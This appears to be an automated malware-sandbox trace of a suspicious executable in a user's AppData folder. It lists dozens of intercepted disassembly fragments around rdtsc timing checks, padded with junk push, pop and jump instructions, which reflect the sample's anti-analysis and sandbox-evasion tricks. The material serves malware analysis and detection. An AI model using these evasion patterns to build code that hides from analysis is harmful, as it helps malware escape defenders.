Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 534E24 second address: 534E60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jp 00007F2738E98EE6h 0x0000000f popad 0x00000010 jmp 00007F2738E98EEDh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007F2738E98EE6h 0x00000020 jmp 00007F2738E98EF4h 0x00000025 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5353E9 second address: 5353ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5353ED second address: 5353F9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2738E98EE6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5355C2 second address: 5355CE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2738B89E06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5355CE second address: 5355D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F2738E98EE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 535CF6 second address: 535CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 534241 second address: 534245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 534245 second address: 53426A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2738B89E06h 0x00000008 jmp 00007F2738B89E13h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F2738B89E0Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53426A second address: 53426E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53426E second address: 53428A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F2738B89E16h 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53428A second address: 5342A6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F2738E98EF2h 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53BDB8 second address: 53BDD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E16h 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F2738B89E06h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53BDD8 second address: 53BDDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53F033 second address: 53F047 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2738B89E06h 0x00000008 jnl 00007F2738B89E06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53F047 second address: 53F04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53F04D second address: 53F051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 53EBFA second address: 53EBFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 54A79F second address: 54A7D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E15h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F2738B89E20h 0x00000012 jmp 00007F2738B89E14h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 54A7D7 second address: 54A7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 54A7DB second address: 54A7F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F2738B89E06h 0x00000009 jmp 00007F2738B89E0Fh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 553D0B second address: 553D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 553D11 second address: 553D30 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jne 00007F2738B89E06h 0x0000000f pop edx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2738B89E0Ch 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56083C second address: 56086B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jnp 00007F2738E98EE6h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2738E98EEFh 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56064D second address: 560651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56707E second address: 567082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 567082 second address: 56708E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 568659 second address: 56865D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56865D second address: 568661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 568661 second address: 56866A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 569B28 second address: 569B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2738B89E06h 0x0000000a jmp 00007F2738B89E15h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F2738B89E12h 0x00000016 jmp 00007F2738B89E15h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56EA31 second address: 56EA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56EA35 second address: 56EA39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56EB79 second address: 56EB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56EB83 second address: 56EB8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56EE42 second address: 56EE4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 je 00007F2738E98EE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56EFB4 second address: 56EFEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2738B89E16h 0x00000008 jmp 00007F2738B89E0Bh 0x0000000d jmp 00007F2738B89E12h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56F17A second address: 56F180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56F2B8 second address: 56F2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738B89E0Ch 0x00000009 popad 0x0000000a pushad 0x0000000b jne 00007F2738B89E06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56F2D2 second address: 56F2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F2738E98EE6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56F2E2 second address: 56F2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56F2E8 second address: 56F2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56FD3A second address: 56FD52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2738B89E14h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56FD52 second address: 56FD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 56FD56 second address: 56FD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F2738B89E0Eh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ACFDB second address: 5ACFE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ACFE0 second address: 5ACFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ACFE6 second address: 5ACFF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ACFF2 second address: 5ACFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ACFF8 second address: 5ACFFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ABF50 second address: 5ABF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2738B89E0Ch 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ABF68 second address: 5ABF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007F2738E98EE8h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AC0D0 second address: 5AC0D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AC3F0 second address: 5AC3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AC3F5 second address: 5AC421 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2738B89E14h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F2738B89E12h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AC8AE second address: 5AC8E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2738E98EF8h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007F2738E98EEAh 0x00000010 jmp 00007F2738E98EEEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5ACBA3 second address: 5ACBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AF8BF second address: 5AF8D6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2738E98EE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnc 00007F2738E98EF8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AF8D6 second address: 5AF8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AF8DA second address: 5AF8DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5AFEE8 second address: 5AFF6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d jc 00007F2738B89E0Ch 0x00000013 mov edx, dword ptr [ebp+1253964Fh] 0x00000019 sub edx, 6D67476Ah 0x0000001f push dword ptr [ebp+122D3375h] 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007F2738B89E08h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 0000001Dh 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f sub dh, 0000004Eh 0x00000042 sbb dx, 9C78h 0x00000047 push 92E49B26h 0x0000004c pushad 0x0000004d push edi 0x0000004e jmp 00007F2738B89E10h 0x00000053 pop edi 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F2738B89E0Bh 0x0000005b rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5B1105 second address: 5B1109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5B2BFA second address: 5B2C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5B2C04 second address: 5B2C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5B2C0C second address: 5B2C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 js 00007F2738B89E0Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5B460F second address: 5B4646 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2738E98EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F2738E98EECh 0x0000000f pushad 0x00000010 pushad 0x00000011 jnl 00007F2738E98EE6h 0x00000017 jmp 00007F2738E98EF5h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 5B4646 second address: 5B4650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40E74 second address: 4A40EBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2738E98EEEh 0x0000000f push eax 0x00000010 jmp 00007F2738E98EEBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F2738E98EF5h 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40EBC second address: 4A40F16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushfd 0x00000007 jmp 00007F2738B89E13h 0x0000000c add cx, 8DAEh 0x00000011 jmp 00007F2738B89E19h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F2738B89E18h 0x00000025 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40F16 second address: 4A40F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40F1C second address: 4A40F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A40F22 second address: 4A40F26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30DD0 second address: 4A30E0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 pushfd 0x00000006 jmp 00007F2738B89E0Bh 0x0000000b add si, E45Eh 0x00000010 jmp 00007F2738B89E19h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30E0A second address: 4A30E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30E1D second address: 4A30E71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2738B89E0Fh 0x00000008 pushfd 0x00000009 jmp 00007F2738B89E18h 0x0000000e add cl, FFFFFFE8h 0x00000011 jmp 00007F2738B89E0Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F2738B89E14h 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30E71 second address: 4A30E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A30E77 second address: 4A30E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ebx, 3A39B778h 0x00000010 mov bx, D324h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 mov esi, edi 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A80011 second address: 4A80017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A80017 second address: 4A8005F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738B89E13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov si, 878Bh 0x00000011 mov ebx, ecx 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 push edx 0x00000017 mov bh, ch 0x00000019 pop edi 0x0000001a mov di, si 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F2738B89E19h 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A8005F second address: 4A80091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov ah, 57h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F2738E98EECh 0x00000016 or esi, 167B9858h 0x0000001c jmp 00007F2738E98EEBh 0x00000021 popfd 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A80091 second address: 4A800BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2738B89E0Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2738B89E15h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A100B9 second address: 4A1011F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2738E98EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ax, di 0x0000000e pushfd 0x0000000f jmp 00007F2738E98EF3h 0x00000014 adc ax, 6B0Eh 0x00000019 jmp 00007F2738E98EF9h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F2738E98EEDh 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	RDTSC instruction interceptor: First address: 4A1011F second address: 4A1018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2738B89E17h 0x00000009 adc eax, 031AD5CEh 0x0000000f jmp 00007F2738B89E19h 0x00000014 popfd 0x00000015 movzx esi, bx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dx, cx 0x00000023 pushfd 0x00000024 jmp 00007F2738B89E10h 0x00000029 and esi, 76EB3178h 0x0000002f jmp 00007F2738B89E0Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
